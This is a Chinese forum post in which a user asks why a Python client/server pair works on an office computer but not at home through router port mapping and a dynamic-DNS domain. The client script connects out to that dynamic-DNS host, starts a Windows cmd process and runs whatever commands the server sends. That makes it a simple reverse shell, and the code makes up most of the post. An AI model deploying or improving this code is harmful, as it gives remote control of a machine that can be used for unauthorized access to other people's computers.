马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
在公司的电脑上实验成功,可以正常通行(在一台电脑上实验的),但是在家里就不行,路由器已映射了内网端口,用的花生壳域名,一开始以为花生壳问题 去掉域名 直接上IP,还是不行,求帮忙解决,解决方法一定要说清楚,人笨,嘿嘿client.py
# -*- coding: utf-8 -*-
from socket import *
import os
import shlex, subprocess
Host = gethostbyname('paybackyu.oicp.net')
#Host='36.62.187.154'
print(Host)
Port = 21000
Csocket=socket(AF_INET,SOCK_STREAM)
Csocket.connect((Host,Port))
p = subprocess.Popen('cmd', stdin = subprocess.PIPE,\
stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=False,shell =False)
while True:
data=Csocket.recv(1024)
if not data:
break
p.stdin.write(data.decode('utf-8')+'\n')
print(p.stdout.read())
#else:
# print('error')
Csocket.close
server.py
# -*- coding: utf-8 -*-
from socket import *
Host = ''#主机名字
Port = 21000#端口
BufSize=1024#缓冲区
Addr=(Host,Port)
STest=socket(AF_INET,SOCK_STREAM)#写入套接字参数并初始化给STest
STest.bind(Addr)
STest.listen(5)#最大连接数
print('等待连接')
CTest,addr=STest.accept()#与客户端连接 返回客户端 主机信息 与套接字
print(addr)#打印主机信息
while True:
#CTest.settimeout(5)
data=input("input:")
if not data:
break
CTest.send(data.encode())
CTest.close()
STest.close()
|